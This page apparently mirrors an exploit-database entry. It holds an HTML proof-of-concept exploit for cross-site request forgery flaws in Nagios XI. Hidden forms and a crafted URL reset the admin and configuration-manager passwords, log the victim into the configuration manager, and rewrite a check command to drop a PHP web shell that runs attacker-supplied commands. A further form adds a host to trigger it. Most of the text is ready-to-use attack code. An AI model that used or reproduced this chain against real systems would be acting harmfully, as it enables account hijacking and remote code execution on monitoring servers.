PageRenderTime 30ms CodeModel.GetById 15ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/linux/remote/34431.html

https://bitbucket.org/DinoRex99/exploit-database
HTML | 142 lines | 122 code | 19 blank | 1 comment | 0 complexity | a81edc889fdbcdb8db80b82bddc73d95 MD5 | raw file
Possible License(s): GPL-2.0
  1. source: http://www.securityfocus.com/bid/42322/info
  2. Nagios XI is prone to multiple cross-site request-forgery vulnerabilities because the application fails to properly validate HTTP requests.
  3. Successful exploit requires that the 'nagiosadmin' be logged into the web interface.
  4. Attackers can exploit these issues to gain unauthorized access to the affected application and perform certain administrative actions.
  5. Nagios XI 2009R1.2B is vulnerable; other versions may also be affected.
  6. Reset the nagiosadmin password via CSRF
  7. This can be useful to hijack the administrators account.
  8. <input type='button' id='adminpassword' value='Set nagiosadmin Password'/>
  9. <form name="adminpasswordform"
  10. action="http://www.example.com/nagiosxi/account/main.php?page=acctinfo"
  11. method="POST" target="hidden" class="invisible">
  12. <input type="input" name="defaultDateFormat" value="1" />
  13. <input type="input" name="defaultLanguage" value="en" />
  14. <input type="input" name="defaultNumberFormat" value="1" />
  15. <input type="input" name="defaultTheme" value="none" />
  16. <input type="input" name="email" value="adam@ngenuity-is.com" />
  17. <input type="input" name="name" value="Nagios Administrator" />
  18. <input type="input" name="password1" value="letmein1" />
  19. <input type="input" name="password2" value="letmein1" />
  20. <input type="input" name="update" value="1" />
  21. </form>
  22. Reset the configuration manager password
  23. The attacker just has the victim visit the following URL. Even if the
  24. nagios admin is not logged into the configuration admin, the attacker can
  25. 1. Force a password reset of the configuration manager
  26. 2. Log the nagiosadmin into the configuration manager
  27. 3. Create a simple web shell on the nagios server.
  28. http://www.example.com/nagiosxi/admin/credentials.php?options=1
  29. &update=1
  30. &config_admin_password=letmein1
  31. &subsystem_ticket=2objrv9t6glq
  32. &config_backend_password=38ajpt
  33. Log into the configuration manager with previously set password
  34. <input type='button' id='login' value='Login to Config Manager' />
  35. <form name='loginform' action="http://www.example.com/nagiosql/index.php"
  36. method="POST" target="hidden" class="invisible">
  37. <input type="input" name="Submit" value="Login"/>
  38. <input type="input" name="tfPassword" value="letmein1"/>
  39. <input type="input" name="tfUsername" value="nagiosadmin"/>
  40. </form>
  41. Modify nagios command to create a webshell when run
  42. Note the \ before the ; in our php code is what makes this possible.
  43. Normally Nagios would not allow for a ; to be input into the command
  44. string unless escaped. PHP will happily still execute this code despite
  45. the \ being there.
  46. <input type='button' id='modifycmd' value='Create Web Shell Command' />
  47. <form name='modifycmdform'
  48. action="http://www.example.com/nagiosql/admin/checkcommands.php"
  49. method="POST" target="hidden" class="invisible">
  50. <input type="input" name="chbActive" value="1"/>
  51. <input type="input" name="hidActive" value=""/>
  52. <input type="input" name="hidId" value="3"/>
  53. <input type="input" name="hidLimit" value="0"/>
  54. <input type="input" name="modus" value="modify"/>
  55. <input type="input" name="selCommandType" value="1"/>
  56. <input type="input" name="tfCommand"
  57. value='/bin/echo "<pre><?php echo system(\$$_GET[\"c\"])\; ?>
  58. </pre>" > /usr/local/nagiosxi/html/cmd.php' />
  59. <input type="input" name="tfName" value="check-host-alive"/>
  60. </form>
  61. Add a Host to make sure our command is triggered, and the web shell created.
  62. Yes this is a long and boring form
  63. <form name='addhostform' action='http://www.example.com/nagiosql/admin/hosts.php'
  64. method='POST' target='hidden' class='invisible'>
  65. <input type="input" name="chbActive" value="1"/>
  66. <input type="input" name="hidActive" value=""/>
  67. <input type="input" name="hidId" value=""/>
  68. <input type="input" name="hidLimit" value="0"/>
  69. <input type="input" name="hidName" value=""/>
  70. <input type="input" name="modus" value="insert"/>
  71. <input type="input" name="radActiveChecksEnabled" value="2"/>
  72. <input type="input" name="radContactGroups" value="1"/>
  73. <input type="input" name="radContacts" value="1"/>
  74. <input type="input" name="radEventEnable" value="2"/>
  75. <input type="input" name="radFlapEnable" value="2"/>
  76. <input type="input" name="radFreshness" value="2"/>
  77. <input type="input" name="radHostGroups" value="2"/>
  78. <input type="input" name="radNoStatusInfos" value="2"/>
  79. <input type="input" name="radNotifEnabled" value="2"/>
  80. <input type="input" name="radObsess" value="2"/>
  81. <input type="input" name="radParent" value="2"/>
  82. <input type="input" name="radPassiveChecksEnabled" value="2"/>
  83. <input type="input" name="radPerfData" value="2"/>
  84. <input type="input" name="radStatusInfos" value="2"/>
  85. <input type="input" name="selCheckPeriod" value="0"/>
  86. <input type="input" name="selEventHandler" value="0"/>
  87. <!-- Command we overwrote -->
  88. <input type="input" name="selHostCommand" value="3"/>
  89. <input type="input" name="selNotifPeriod" value="3"/>
  90. <input type="input" name="selTemplate" value="2::1"/>
  91. <input type="input" name="tfActionURL" value=""/>
  92. <input type="input" name="tfAddress" value="4.2.2.2"/>
  93. <input type="input" name="tfArg1" value=""/>
  94. <input type="input" name="tfArg2" value=""/>
  95. <input type="input" name="tfArg3" value=""/>
  96. <input type="input" name="tfArg4" value=""/>
  97. <input type="input" name="tfArg5" value=""/>
  98. <input type="input" name="tfArg6" value=""/>
  99. <input type="input" name="tfArg7" value=""/>
  100. <input type="input" name="tfArg8" value=""/>
  101. <input type="input" name="tfCheckInterval" value=""/>
  102. <input type="input" name="tfD2Coords" value=""/>
  103. <input type="input" name="tfD3Coords" value=""/>
  104. <input type="input" name="tfDisplay" value=""/>
  105. <input type="input" name="tfFirstNotifDelay" value=""/>
  106. <input type="input" name="tfFreshTreshold" value=""/>
  107. <input type="input" name="tfFriendly" value="testpwn"/>
  108. <input type="input" name="tfGenericName" value=""/>
  109. <input type="input" name="tfHighFlat" value=""/>
  110. <input type="input" name="tfIconImage" value=""/>
  111. <input type="input" name="tfIconImageAlt" value=""/>
  112. <input type="input" name="tfLowFlat" value=""/>
  113. <input type="input" name="tfMaxCheckAttempts" value="5"/>
  114. <input type="input" name="tfName" value="testpwn"/>
  115. <input type="input" name="tfNotes" value=""/>
  116. <input type="input" name="tfNotesURL" value=""/>
  117. <input type="input" name="tfNotifInterval" value="0"/>
  118. <input type="input" name="tfRetryInterval" value=""/>
  119. <input type="input" name="tfStatusImage" value=""/>
  120. <input type="input" name="tfVmrlImage" value=""/>
  121. <input type="input" name="txtVariablename" value=""/>
  122. <input type="input" name="txtVariablevalue" value=""/>
  123. </form>